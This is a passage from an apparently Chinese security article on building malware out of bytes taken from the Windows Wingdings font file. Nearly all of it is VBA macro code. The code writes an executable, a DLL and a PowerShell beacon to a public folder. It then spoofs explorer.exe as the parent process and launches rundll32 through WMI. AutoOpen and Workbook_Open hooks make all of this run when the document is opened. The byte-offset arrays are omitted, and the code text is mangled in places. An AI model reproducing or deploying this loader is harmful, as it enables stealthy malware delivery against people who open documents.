技术探讨 | 利用Windows系统字体来创建恶意软件

[…]–> you array of bytes containing the position of necessary bytes in theWindings font.

‘exampleto join the bytes for the fist malicious component

    t1 = cc1

    t2 = cc2

    t3 = cc3

    t4 = cc4

    t5 = cc5

    t6 = cc6

    t7 = cc7

    t8 = cc8

    t9 = cc9

    t10 = cc10

    t11 = cc11

    t12 = cc12

    t13 = cc13

    t14 = cc14

    t15 = cc15

    t16 = cc16

    t17 = cc17

    t18 = cc18

    ttt = Split(Join(t1, “,”) &”,” & Join(t2, “,”) & “,” & Join(t3,”,”) & “,” & Join(t4, “,”) &”,” & Join(t5, “,”) & “,” & Join(t6,”,”) & “,” & Join(t7, “,”) &”,” & Join(t8, “,”) & “,” & Join(t9,”,”) _

     & “,” & Join(t10,”,”) & “,” & Join(t11, “,”) &”,” & Join(t12, “,”) & “,” &Join(t13, “,”) & “,” & Join(t14, “,”)& “,” & Join(t15, “,”) & “,” &Join(t16, “,”) & “,” & Join(t17, “,”)& “,” & Join(t18, “,”), “,”)

[…]

    Dim nb As Integer

    Dim nb2 As Integer

    nb = UBound(ttt) – LBound(ttt) + 1 ‘ttt isa joined byte array

    nb2 = UBound(tt) – LBound(tt) + 1

    nb3 = UBound(ttttttt) – LBound(ttttttt) + 1

    Dim intFileNumber As Integer

    Dim i As Integer

    Dim j As Integer

    Dim lngFileSize As Long

    Dim lngFileSize2 As Long

    Dim strBuffer As String

    Dim strBuffer2 As String

    Dim lngCharNumber As Long

    Dim lngCharNumber2 As Long

    Dim strCharacter As String * 1

    Dim strCharacter2 As String * 1

    Dim strFileName As String

    Dim strFileName2 As String

    Dim offset() As Variant

    strFileName =”C:\Windows\Fonts\wingding.ttf”

    intFileNumber = FreeFile

    Open strFileName For Binary Access ReadShared As #intFileNumber

        lngFileSize = LOF(intFileNumber)

        strBuffer = Space$(lngFileSize)

        Get #intFileNumber, , strBuffer

    Close #intFileNumber

   Dim nFileNum As Long

   Dim sFilename As String

   Dim ind As Long

   sFilename2 =”C:\Users\Public\Documents\changeMyParent.exe” ‘ crafted binary thatwill be use to select the parent of rundll32

   sFilename =”C:\Users\Public\Documents\runPoshCode.dll” ‘ .DLL that will runpowershell beacon from an image

   sFilename3 =”C:\Users\Public\Documents\BEACON.ico” ‘ malicious powershell beaconregistered in an .ICO

   nFileNum = FreeFile

   ‘ a loop would be better

   Open sFilename2 For Binary Lock Read WriteAs #nFileNum

       For lngCharNumber = 0 To nb – 1

        ind = lngCharNumber + 1

        off = ttt(lngCharNumber)

        strCharacter = Mid(strBuffer, off, 1)

        Put #nFileNum, ind, strCharacter

       Next lngCharNumber

   Close #nFileNum

   nFileNum = FreeFile

   Open sFilename For Binary Lock Read Write As#nFileNum

       For lngCharNumber = 0 To nb2 – 1

        ind = lngCharNumber + 1

        off = tt(lngCharNumber)

        strCharacter = Mid(strBuffer, off, 1)

        Put #nFileNum, ind, strCharacter

       Next lngCharNumber

   Close #nFileNum

   nFileNum = FreeFile

   Open sFilename3 For Binary Lock Read WriteAs #nFileNum

       For lngCharNumber = 0 To nb3 – 1

        ind = lngCharNumber + 1

        off = ttttttt(lngCharNumber)

        strCharacter = Mid(strBuffer, off, 1)

        Put #nFileNum, ind, strCharacter

       Next lngCharNumber

   Close #nFileNum

   rr

EndSub

Subrr()

  Dim xx As String

  Dim oihfasf As Object, eopuf As Object, kdjAs Object

  Dim oDic As Object, a() As Variant

  Dim pskaf As Integer

  Set oDic =CreateObject(“Scripting.Dictionary”)

  xx = “.”

  Set oihfasf =GetObject(“winmgmts:\\” _

      & xx & “\root\CIMV2”)

  Set eopuf = oihfasf.ExecQuery _

      (“Select Name, ProcessID FROMWin32_Process”, , 48)

  For Each kdj In eopuf

      If(kdj.Properties_(“Name”).Value) = “explorer.exe” Then

          pskaf =(kdj.Properties_(“ProcessID”).Value)

      End If

  Next

Dim tAs Date

Dimcnt As Long

Dimarr(2) As Byte

Dimxl As String

xl =”C:\Users\Public\Documents\changeMyParent.exe “”C:\Windows\system32\RunDll32.exeC:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -fC:\Users\Public\Documents\BEACON.ico”” ” & pskafxx =”.”

Setow = GetObject(“winmgmts:\\” & xx & “\Root\cimv2”)

Setos = ow.Get(“Win32_ProcessStartup”)

Setoc = os.SpawnInstance_

Setop = GetObject(“winmgmts:\\” & xx &”\root\cimv2:Win32_Process”)

op.Createxl, Null, oc, aslh

EndSub

SubAutoOpen()

    cc

EndSub

SubWorkbook_Open()

    cc

EndSub

https://www.freebuf.com/articles/system/190740.html